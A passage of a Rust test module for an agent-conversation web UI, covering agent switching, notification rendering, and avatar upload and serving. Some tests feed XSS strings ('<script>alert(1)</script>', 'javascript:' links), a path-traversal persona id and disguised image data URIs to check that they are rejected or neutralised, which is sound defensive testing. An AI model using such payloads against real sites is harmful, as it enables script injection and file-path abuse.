15246        let unknown = call("nobody").await.expect_err("unknown agent");
15247        assert_eq!(
15248            unknown.status,
15249            StatusCode::BAD_REQUEST,
15250            "{}",
15251            unknown.message
15252        );
15253
15254        {
15255            // Nothing refused so far took a claim, so the guard is free to take
15256            // and holding it is what makes the talk busy.
15257            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15258            let busy = call("second").await.expect_err("busy talk");
15259            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15260            assert!(
15261                busy.message.contains("a talk turn is running"),
15262                "{}",
15263                busy.message
15264            );
15265            drop(guard);
15266        }
15267        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
15268
15269        let Json(view) = call("second").await.expect("switch");
15270        assert_eq!(view.talk.agent, "second");
15271        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
15272        let saved = talks.get(&id).expect("reload");
15273        assert_eq!(saved.agent, "second");
15274        assert_eq!(saved.turns.len(), 1);
15275        assert!(!view.thinking);
15276        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15277        for agent in ["mock", "second"] {
15278            let Json(view) = call(agent).await.expect("immediate consecutive change");
15279            assert_eq!(view.talk.agent, agent);
15280            assert!(!view.thinking);
15281            assert!(!ui.is_thinking(&id));
15282        }
15283
15284        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15285            .await
15286            .expect("detail");
15287        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
15288        assert_eq!(roster, ["mock", "second"]);
15289
15290        let mut closed = talks.get(&id).expect("reload");
15291        talk::close(&mut closed, &talks).expect("close");
15292        let refused = call("mock").await.expect_err("closed talk");
15293        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15294        assert!(
15295            refused.message.contains("takes no more turns"),
15296            "{}",
15297            refused.message
15298        );
15299    }
15300
15301    #[tokio::test]
15302    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
15303        let tmp = TempDir::new().expect("tempdir");
15304        let repo = tmp.path().join("repo");
15305        std::fs::create_dir_all(&repo).expect("repo dir");
15306        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15307        let home = TempDir::new().expect("temp home");
15308        let talks = Talks::at(home.path().join("talks"));
15309        let ui = Arc::new(
15310            Ui::new(
15311                Queue::at(home.path().join("queue")),
15312                Questions::at(home.path().join("questions")),
15313                talks.clone(),
15314                home.path().join("runs"),
15315                home.path().to_path_buf(),
15316                repo.clone(),
15317            )
15318            .with_worktrees_root(home.path().join("wt")),
15319        );
15320        let cfg = config_for(&repo).await.expect("discover config");
15321        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15322        let id = talk.id.clone();
15323        let call = |n: u8| {
15324            talk_implementers(
15325                State(Arc::clone(&ui)),
15326                Path(id.clone()),
15327                Json(TalkImplementers { implementers: n }),
15328            )
15329        };
15330
15331        for bad in [0u8, 4] {
15332            let e = call(bad).await.expect_err("out of range");
15333            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
15334        }
15335        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
15336
15337        {
15338            // Nothing refused so far took a claim, so the guard is free to take
15339            // and holding it is what makes the talk busy.
15340            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15341            let busy = call(2).await.expect_err("busy talk");
15342            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15343            assert!(
15344                busy.message.contains("a talk turn is running"),
15345                "{}",
15346                busy.message
15347            );
15348            drop(guard);
15349        }
15350
15351        let Json(view) = call(3).await.expect("switch");
15352        assert_eq!(view.talk.implementers, 3);
15353        assert!(talks.get(&id).expect("reload").implementers_dirty);
15354        assert!(!view.thinking);
15355        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15356        for n in [1, 2, 3] {
15357            let Json(view) = call(n).await.expect("immediate consecutive change");
15358            assert_eq!(view.talk.implementers, n);
15359            assert!(!view.thinking);
15360            assert!(!ui.is_thinking(&id));
15361        }
15362
15363        let mut closed = talks.get(&id).expect("reload");
15364        talk::close(&mut closed, &talks).expect("close");
15365        let e = call(2).await.expect_err("closed talk");
15366        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
15367        assert!(e.message.contains("takes no more turns"), "{}", e.message);
15368    }
15369
15370    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
15371    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
15372        let tmp = TempDir::new().expect("tempdir");
15373        let repo = tmp.path().join("repo");
15374        std::fs::create_dir_all(&repo).expect("repo dir");
15375        std::fs::write(
15376            repo.join("magi.toml"),
15377            format!("{MOCK_AGENT_TOML}\n{extra}"),
15378        )
15379        .expect("write magi.toml");
15380        let home = TempDir::new().expect("temp home");
15381        let talks = Talks::at(home.path().join("talks"));
15382        let ui = Arc::new(
15383            Ui::new(
15384                Queue::at(home.path().join("queue")),
15385                Questions::at(home.path().join("questions")),
15386                talks.clone(),
15387                home.path().join("runs"),
15388                home.path().to_path_buf(),
15389                repo.clone(),
15390            )
15391            .with_worktrees_root(home.path().join("wt")),
15392        );
15393        let cfg = config_for(&repo).await.expect("discover config");
15394        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15395        (tmp, home, ui, talk.id, repo)
15396    }
15397
15398    #[tokio::test]
15399    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
15400        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15401        let mut conversation = ui.talks.get(&id).unwrap();
15402        talk::record(
15403            &mut conversation,
15404            &ui.talks,
15405            "# Update on a task you filed\noperator words",
15406            vec![],
15407        )
15408        .unwrap();
15409        // Simulate an old operator record; headings do not prove authorship.
15410        conversation.turns[0].sender = None;
15411        conversation.turns[0].messages.clear();
15412        ui.talks.put(&mut conversation).unwrap();
15413        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
15414        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
15415        talk::drain(&mut conversation, &ui.talks).unwrap();
15416        talk::record_reply(
15417            &mut conversation,
15418            &ui.talks,
15419            "about that report",
15420            vec![],
15421            Some(talk::ReplyTarget {
15422                turn: 1,
15423                message: 1,
15424            }),
15425        )
15426        .unwrap();
15427        conversation.turns[2].messages[0]
15428            .reply
15429            .as_mut()
15430            .unwrap()
15431            .sender = None;
15432        conversation.turns.push(talk::Turn {
15433            sender: Some(talk::Sender::Persona),
15434            who: talk::Who::Agent,
15435            body: "magi: actual persona words".into(),
15436            at: Timestamp::now(),
15437            attachments: vec![],
15438            usage: None,
15439            breaks: None,
15440            messages: vec![],
15441            posted_by: None,
15442        });
15443        ui.talks.put(&mut conversation).unwrap();
15444        let view = TalkView::with_config(
15445            ui.talks.get(&id).unwrap(),
15446            false,
15447            None,
15448            &ui.home,
15449            &ui.references,
15450        );
15451        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
15452        assert_eq!(
15453            view.talk.turns[1].messages[0].sender,
15454            Some(talk::Sender::Operator)
15455        );
15456        assert_eq!(
15457            view.talk.turns[1].messages[1].sender,
15458            Some(talk::Sender::Magi)
15459        );
15460        assert_eq!(
15461            view.talk.turns[2].messages[0]
15462                .reply
15463                .as_ref()
15464                .unwrap()
15465                .sender,
15466            Some(talk::Sender::Magi)
15467        );
15468        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
15469        assert_eq!(view.turn_messages_md[0].len(), 1);
15470        assert!(view.turn_messages_md[0][0].is_none());
15471        assert!(view.turn_messages_md[1][0].is_none());
15472        assert!(view.turn_messages_md[1][1].is_some());
15473    }
15474
15475    #[tokio::test]
15476    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
15477        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15478        let mut conversation = ui.talks.get(&id).unwrap();
15479        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
15480        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15481        talk::queue_notice(
15482            &mut conversation,
15483            &ui.talks,
15484            &body,
15485            "watch:123",
15486            &|_| false,
15487            crate::chat_control::standing::Event::Watch {
15488                id: "watch-123".into(),
15489            },
15490            display.clone(),
15491        )
15492        .unwrap();
15493        assert!(
15494            !talk::queue_notice(
15495                &mut conversation,
15496                &ui.talks,
15497                &body,
15498                "watch:123",
15499                &|_| false,
15500                crate::chat_control::standing::Event::Watch {
15501                    id: "watch-123".into()
15502                },
15503                display.clone()
15504            )
15505            .unwrap()
15506        );
15507        let saved = ui.talks.get(&id).unwrap();
15508        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15509        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15510        assert!(
15511            view.talk.turns[0].messages[0].display.is_none(),
15512            "operator copy stays literal"
15513        );
15514        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15515        assert!(view.turn_messages_md[0][0].is_none());
15516        let queued_md = view.pending_messages_md[0].clone();
15517        assert_eq!(
15518            queued_md,
15519            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15520        );
15521        talk::drain(&mut conversation, &ui.talks).unwrap();
15522        talk::record_reply(
15523            &mut conversation,
15524            &ui.talks,
15525            "Explain",
15526            vec![],
15527            Some(talk::ReplyTarget {
15528                turn: 1,
15529                message: 0,
15530            }),
15531        )
15532        .unwrap();
15533        let mut saved = ui.talks.get(&id).unwrap();
15534        assert_eq!(saved.turns[1].messages[0].body, body);
15535        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15536        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15537        assert!(!reply.excerpt.contains("automatic report"));
15538        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15539        saved.turns[1].messages[0].display = None; // old MAGI send
15540        ui.talks.put(&mut saved).unwrap();
15541        let view = TalkView::with_config(
15542            ui.talks.get(&id).unwrap(),
15543            false,
15544            None,
15545            &ui.home,
15546            &ui.references,
15547        );
15548        assert_eq!(view.turn_messages_md[1][0], queued_md);
15549        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15550        assert!(
15551            !view.talk.turns[2].messages[0]
15552                .reply
15553                .as_ref()
15554                .unwrap()
15555                .excerpt
15556                .contains("automatic report")
15557        );
15558        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15559    }
15560
15561    #[tokio::test]
15562    async fn consultation_display_hides_directives_in_queue_and_history() {
15563        for node in [
15564            "implement",
15565            crate::land::APPROVAL_NODE,
15566            crate::github_text::ASK_NODE,
15567        ] {
15568            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15569            let mut question = Question::new(
15570                "run-123".into(),
15571                node.into(),
15572                "seat-1".into(),
15573                "Which backend?".into(),
15574                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15575                vec!["SQLite".into(), "Redis".into()],
15576            );
15577            ui.questions.put(&mut question).unwrap();
15578            let body = crate::prompt::chat_consult(&question);
15579            let mut conversation = ui.talks.get(&id).unwrap();
15580            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15581            assert!(
15582                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15583            );
15584            conversation = ui.talks.get(&id).unwrap();
15585            assert_eq!(conversation.pending_messages[0].body, body);
15586            assert!(body.contains("magi answer"));
15587            let mut legacy_pending = conversation.clone();
15588            legacy_pending.pending_messages[0].display = None;
15589            let legacy_view =
15590                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15591            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15592            assert!(legacy_md.contains("Question consultation"));
15593            assert!(!legacy_md.contains("magi answer"));
15594            let view =
15595                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15596            assert!(
15597                view.turn_messages_md[0][0].is_none(),
15598                "operator copy stays literal"
15599            );
15600            let queued_md = view.pending_messages_md[0].clone().unwrap();
15601            let rendered = serde_json::to_string(&queued_md).unwrap();
15602            for visible in [
15603                "Which backend?",
15604                "Context",
15605                "storage",
15606                "SQLite",
15607                "Redis",
15608                "<script>literal</script>",
15609            ] {
15610                assert!(rendered.contains(visible), "missing {visible}");
15611            }
15612            for directive in [
15613                "What to do",
15614                "magi answer",
15615                "Never answer it yourself",
15616                "Do not edit the repository",
15617            ] {
15618                assert!(!rendered.contains(directive), "exposed {directive}");
15619            }
15620            assert_eq!(
15621                view.talk.pending_messages[0].display,
15622                Some(crate::prompt::chat_consult_display(&question))
15623            );
15624            talk::drain(&mut conversation, &ui.talks).unwrap();
15625            let view =
15626                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15627            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15628            assert_eq!(conversation.turns[1].messages[0].body, body);
15629
15630            // Historical consultations lack a snapshot: show a safe placeholder
15631            // rather than parsing instructions or reconstructing mutable facts.
15632            conversation.turns[1].messages[0].display = None;
15633            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15634            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15635            assert!(legacy.contains("Question consultation"));
15636            assert!(!legacy.contains("magi answer"));
15637            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15638        }
15639    }
15640
15641    #[test]
15642    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15643        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15644        let (body, mut display) =
15645            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15646        display.facts = facts.into();
15647        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15648        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15649        let json = serde_json::to_string(&nodes).unwrap();
15650        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15651            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15652        }
15653        assert!(json.contains("<script>alert(1)</script>"));
15654        assert!(!json.contains("javascript:"));
15655        assert!(!json.contains("Tell the operator"));
15656        assert!(!json.contains("untrusted"));
15657        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15658        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15659        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15660        assert_eq!(
15661            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15662            md::to_nodes("# Status", &md::ImageBase::None),
15663        );
15664    }
15665
15666    #[tokio::test]
15667    async fn notification_display_recovers_exact_legacy_completion_references() {
15668        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15669        let mut conversation = ui.talks.get(&id).unwrap();
15670        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15671            id: "task-123",
15672            title: "Change",
15673            status: "done",
15674            reason: None,
15675            run: Some("run-123"),
15676            pr: None,
15677            summary: Some("Merge state unknown"),
15678            verification: None,
15679            completion: None,
15680        });
15681        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15682        conversation.turns[0].sender = None;
15683        conversation.turns[0].messages.clear();
15684        conversation.turns[0].breaks = None;
15685        conversation.pending = body.clone();
15686        conversation
15687            .completion_notices
15688            .push(crate::chat_notify::CompletionReference {
15689                task: "task-123".into(),
15690                run: Some("run-123".into()),
15691                notice: body.clone(),
15692            });
15693        ui.talks.put(&mut conversation).unwrap();
15694        let view = TalkView::with_config(
15695            ui.talks.get(&id).unwrap(),
15696            false,
15697            None,
15698            &ui.home,
15699            &ui.references,
15700        );
15701        assert_eq!(
15702            view.talk.turns[0].messages[0].display,
15703            Some(display.clone())
15704        );
15705        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15706        assert_eq!(
15707            view.talk.turns[0].messages[0].sender,
15708            Some(talk::Sender::Magi)
15709        );
15710        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15711        conversation.completion_notices[0]
15712            .notice
15713            .push_str("different");
15714        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15715        assert!(view.talk.turns[0].messages.is_empty());
15716        assert!(view.talk.pending_messages.is_empty());
15717    }
15718
15719    #[tokio::test]
15720    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15721        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15722        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15723            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15724        ))
15725        .await;
15726        let path = avatar_setting_path(home.path(), Some("rei"));
15727        let orphan = avatar_setting_path(home.path(), Some("removed"));
15728        save_icon_file(&orphan, icon).unwrap();
15729        for (saved, expected) in [
15730            (icon, "custom"),
15731            ("builtin", "builtin"),
15732            ("data:image/png;base64,!!!!", "inherit"),
15733            ("data:image/png;base64,PGh0bWw+", "inherit"),
15734            ("/tmp/avatar.png", "inherit"),
15735        ] {
15736            atomic_icon_write(&path, saved).unwrap();
15737            let catalog =
15738                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15739                    .await
15740                    .unwrap()
15741                    .0;
15742            let personas = catalog["personas"].as_array().unwrap();
15743            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15744            assert_eq!(rei["override_state"], expected);
15745            assert_eq!(rei["has_config_icon"], true);
15746            assert_eq!(rei["is_orphan"], false);
15747            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15748            assert_eq!(removed["override_state"], "custom");
15749            assert_eq!(removed["is_orphan"], true);
15750            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15751            assert_eq!(default["override_state"], "inherit");
15752            assert_eq!(default["has_config_icon"], false);
15753            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15754            assert_eq!(
15755                effective.as_deref(),
15756                Some(if expected == "builtin" { "" } else { icon })
15757            );
15758        }
15759    }
15760
15761    #[tokio::test]
15762    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15763        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15764        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15765            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15766        ))
15767        .await;
15768        let target = |id: Option<&str>| AvatarSettingsQuery {
15769            persona: id.map(str::to_owned),
15770            ..Default::default()
15771        };
15772        let original_config = config_for(&repo).await.unwrap();
15773        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15774        let original_prompt = persona::section_for(&original_persona, None);
15775        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15776            .await
15777            .unwrap()
15778            .0;
15779        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15780            let _ = avatar_settings_put(
15781                State(ui.clone()),
15782                Query(target(persona)),
15783                Json(MagiIconUpload { icon: icon.into() }),
15784            )
15785            .await
15786            .unwrap();
15787            let path = avatar_setting_path(home.path(), persona);
15788            assert!(path.starts_with(home.path().join("avatars")));
15789            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15790            for bad in [
15791                "/tmp/image.png".to_owned(),
15792                "data:image/png;base64,!!!!".to_owned(),
15793                "data:image/png;base64,PGh0bWw+".to_owned(),
15794                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15795                format!(
15796                    "data:image/png;base64,{}",
15797                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15798                ),
15799            ] {
15800                assert!(
15801                    avatar_settings_put(
15802                        State(ui.clone()),
15803                        Query(target(persona)),
15804                        Json(MagiIconUpload { icon: bad })
15805                    )
15806                    .await
15807                    .is_err()
15808                );
15809                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15810            }
15811        }
15812        assert!(read_magi_icon(home.path()).is_none());
15813        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15814        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15815            .await
15816            .unwrap()
15817            .0;
15818        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15819        assert_ne!(
15820            before
15821                .personas
15822                .iter()
15823                .find(|p| p.id == "magi")
15824                .unwrap()
15825                .avatar,
15826            after
15827                .personas
15828                .iter()
15829                .find(|p| p.id == "magi")
15830                .unwrap()
15831                .avatar
15832        );
15833        let restarted = Arc::new(Ui::new(
15834            Queue::at(home.path().join("queue")),
15835            Questions::at(home.path().join("questions")),
15836            Talks::at(home.path().join("talks")),
15837            home.path().join("runs"),
15838            home.path().to_owned(),
15839            repo,
15840        ));
15841        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15842            .await
15843            .unwrap()
15844            .0;
15845        assert!(
15846            catalog["personas"]
15847                .as_array()
15848                .unwrap()
15849                .iter()
15850                .any(|p| p["id"] == "../custom/日本語")
15851        );
15852        for expected in ["custom", "default", "rei"] {
15853            assert!(
15854                catalog["personas"]
15855                    .as_array()
15856                    .unwrap()
15857                    .iter()
15858                    .any(|p| p["id"] == expected)
15859            );
15860        }
15861        let response =
15862            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15863        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15864        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15865            .await
15866            .unwrap();
15867        assert_eq!(
15868            effective_persona_icon(home.path(), "rei", Some(icon)),
15869            Some(String::new())
15870        );
15871        let response = talk_avatar(
15872            State(restarted.clone()),
15873            Path(id.clone()),
15874            Query(AvatarQuery {
15875                persona: Some("rei".into()),
15876                ..Default::default()
15877            }),
15878        )
15879        .await
15880        .unwrap();
15881        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15882        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15883            .await
15884            .unwrap()
15885            .0;
15886        assert_ne!(
15887            after
15888                .personas
15889                .iter()
15890                .find(|p| p.id == "rei")
15891                .unwrap()
15892                .avatar,
15893            reset
15894                .personas
15895                .iter()
15896                .find(|p| p.id == "rei")
15897                .unwrap()
15898                .avatar
15899        );
15900        let mut inherit = target(Some("rei"));
15901        inherit.inherit = Some("1".into());
15902        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15903            .await
15904            .unwrap();
15905        assert_eq!(
15906            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15907            Some(icon)
15908        );
15909        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15910            .await
15911            .unwrap();
15912        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15913        assert_eq!(
15914            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15915            Some(icon)
15916        );
15917        // Display changes never rewrite the conversation or its prompt-bearing config.
15918        let cfg = config_for(&ui.repo).await.unwrap();
15919        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15920        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15921        assert!(!original_prompt.contains("data:image"));
15922        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15923        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15924        assert!(!stored.contains("data:image"));
15925        let mut orphan = ui.talks.get(&id).unwrap();
15926        orphan.persona = "../custom/日本語".into();
15927        let view = TalkView::with_config(
15928            orphan,
15929            false,
15930            Some(&cfg),
15931            home.path(),
15932            &id_links::IndexCache::default(),
15933        );
15934        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15935    }
15936
15937    #[tokio::test]
15938    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15939        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15940        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15941        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15942        let _ = magi_icon_put(
15943            State(ui.clone()),
15944            Json(MagiIconUpload { icon: icon.into() }),
15945        )
15946        .await
15947        .unwrap();
15948        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15949        assert_ne!(original, changed);
15950        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15951        let response = magi_avatar(
15952            State(ui.clone()),
15953            Query(AvatarQuery {
15954                persona: None,
15955                builtin: None,
15956            }),
15957        )
15958        .await;
15959        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15960        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15961        assert_eq!(
15962            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15963            "nosniff"
15964        );
15965        for bad in [
15966            "data:image/png;base64,PGh0bWw+".to_owned(),
15967            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15968            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15969        ] {
15970            assert!(save_magi_icon(home.path(), &bad).is_err());
15971            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15972        }
15973        // Re-opened server state reads the same independent home file.
15974        let restarted = Arc::new(Ui::new(
15975            Queue::at(home.path().join("queue")),
15976            Questions::at(home.path().join("questions")),
15977            Talks::at(home.path().join("talks")),
15978            home.path().join("runs"),
15979            home.path().to_path_buf(),
15980            repo,
15981        ));
15982        assert_eq!(
15983            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15984            changed
15985        );
15986        let view = TalkView::with_config(
15987            restarted.talks.get(&id).unwrap(),
15988            false,
15989            None,
15990            &restarted.home,
15991            &restarted.references,
15992        );
15993        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15994        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15995        let response = magi_avatar(
15996            State(ui.clone()),
15997            Query(AvatarQuery {
15998                persona: None,
15999                builtin: None,
16000            }),
16001        )
16002        .await;
16003        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
16004            .await
16005            .unwrap();
16006        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
16007        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
16008        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
16009        let _ = magi_icon_delete(State(ui)).await.unwrap();
16010    }
16011
16012    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
16013    async fn avatar(
16014        ui: &Arc<Ui>,
16015        id: &str,
16016        persona: Option<&str>,
16017        builtin: bool,
16018    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
16019        let res = talk_avatar(
16020            State(Arc::clone(ui)),
16021            Path(id.to_owned()),
16022            Query(AvatarQuery {
16023                persona: persona.map(str::to_owned),
16024                builtin: builtin.then(|| "1".to_owned()),
16025            }),
16026        )
16027        .await
16028        .expect("an avatar is never an error response");
16029        let h = res.headers();
16030        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
16031        let nosniff = h
16032            .get(header::X_CONTENT_TYPE_OPTIONS)
16033            .is_some_and(|v| v == "nosniff");
16034        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
16035        let status = res.status();
16036        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16037            .await
16038            .expect("body")
16039            .to_vec();
16040        (status, ct, nosniff, csp, body)
16041    }
16042
16043    fn tiny_png() -> Vec<u8> {
16044        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
16045        b.extend_from_slice(&[0u8; 32]);
16046        b
16047    }
16048
16049    #[tokio::test]
16050    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
16051        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
16052        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
16053        assert_eq!(res.status(), StatusCode::OK);
16054        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
16055        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
16056        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
16057        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
16058        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16059            .await
16060            .unwrap();
16061        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
16062        assert_ne!(
16063            persona_icon::operator_svg(),
16064            persona_icon::builtin_svg("default")
16065        );
16066    }
16067
16068    #[tokio::test]
16069    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
16070        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
16071        for p in [
16072            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
16073        ] {
16074            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
16075            assert_eq!(status, StatusCode::OK, "{p}");
16076            assert_eq!(ct, "image/svg+xml", "{p}");
16077            assert!(nosniff && csp, "{p}");
16078            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
16079        }
16080        // No `persona` means the conversation's own; unknown ones fall back.
16081        let own = avatar(&ui, &id, None, false).await;
16082        let default = avatar(&ui, &id, Some("default"), false).await;
16083        assert_eq!(own.4, default.4);
16084        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
16085        assert_eq!(unknown.1, "image/svg+xml");
16086    }
16087
16088    #[tokio::test]
16089    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
16090        let dir = TempDir::new().expect("icons");
16091        let good = dir.path().join("good.png");
16092        std::fs::write(&good, tiny_png()).unwrap();
